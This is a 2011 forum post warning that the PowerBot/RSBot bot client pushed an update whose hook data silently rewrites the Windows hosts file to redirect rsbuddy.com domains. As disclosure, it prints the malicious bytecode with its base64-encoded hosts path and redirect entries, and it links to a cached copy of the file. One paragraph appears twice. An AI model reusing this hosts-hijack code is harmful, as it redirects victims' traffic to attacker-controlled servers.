Alaska
2011-05-25 13:17:11
The application 'PowerBot' has recently been updated to execute malicious code on users' systems. It modifies the windows hosts file within the System32 folder, and redirects rsbuddy.com as well as other domains to unofficial servers.
This update was pushed intentionally by the site's owner and is illegal under international laws and treaties. We will be alerting common anti-virus services as well as the site's hosting providers shortly with regard to this issue.
Technical Information
RSBot downloads and executes a 'modscript' file that inserts code into the game client. This was recently updated to contain the following malicious code section:
This update was pushed intentionally by the site's owner and is illegal under international laws and treaties. We will be alerting common anti-virus services as well as the site's hosting providers shortly with regard to this issue.
Technical Information
RSBot downloads and executes a 'modscript' file that inserts code into the game client. This was recently updated to contain the following malicious code section:
new java/lang/String
"QzpcV2luZG93c1xTeXN0ZW0zMlxkcml2ZXJzXGV0Y1xob3N0cw=="
org/rsbot/util/Base64.decodeBase64(Ljava/lang/String;)[B
new java/io/FileWriter
new java/io/BufferedWriter
new java/lang/String
"DQoNCjI0Ni4xMzcuOTUuMjI1IHJzYnVkZHkuY29tDQoyNDYuMTM3Ljk1LjIyNSB3d3cucnNidWRkeS5jb20NCjI0Ni4xMzcuOTUuMjI1IHNjcmlwdHMucnNidWRkeS5jb20NCjE5My4xODQuMjIxLjEzMyBjZG4ucnNidWRkeS5jb20NCjE5My4xODQuMjIxLjEzMyByc2J1ZGR5LWFwaS5nb29nbGVjb2RlLmNvbQ=="
org/rsbot/util/Base64.decodeBase64(Ljava/lang/String;)[B
java/io/BufferedWriter.write(Ljava/lang/String;)V
java/io/BufferedWriter.close()[/code]
[IMG]http://img402.imageshack.us/img402/9596/unled8mg.png[/IMG]
Hosts file location:
[code]C:\Windows\System32\drivers\etc\hosts[/code]
If anyone with programming experience would like to inspect the malicious code the file can be found on the [URL="http://code.google.com/p/rsbot-client/source/detail?r=54"]official RSBot SVN[/URL] (line 1550). I have also provided a cached version of the hook data [URL="http://uppit.com/snoy7hbos8am/ms.dat"]available for download[/URL] in case the SVN entry is removed.
Also, He put code within the hook data so even if you use an older version it will still execute the malicious code on your computer.
I'd avoid using powerbot as it will infect your computer, even with this not putting your accounts in danger who knows what can happen next at that site. They've had so many mishaps lately, I kinda hope this breaks the community there down.. At least that will get rid of some of the bots.
There's a fix for it as well located here - [url]http://shadowscripting.org/forums/viewtopic.php?f=9&t=9968[/url]
EDIT: If this is not in a proper section I'm sorry and it'd be nice if a mod would move it for me.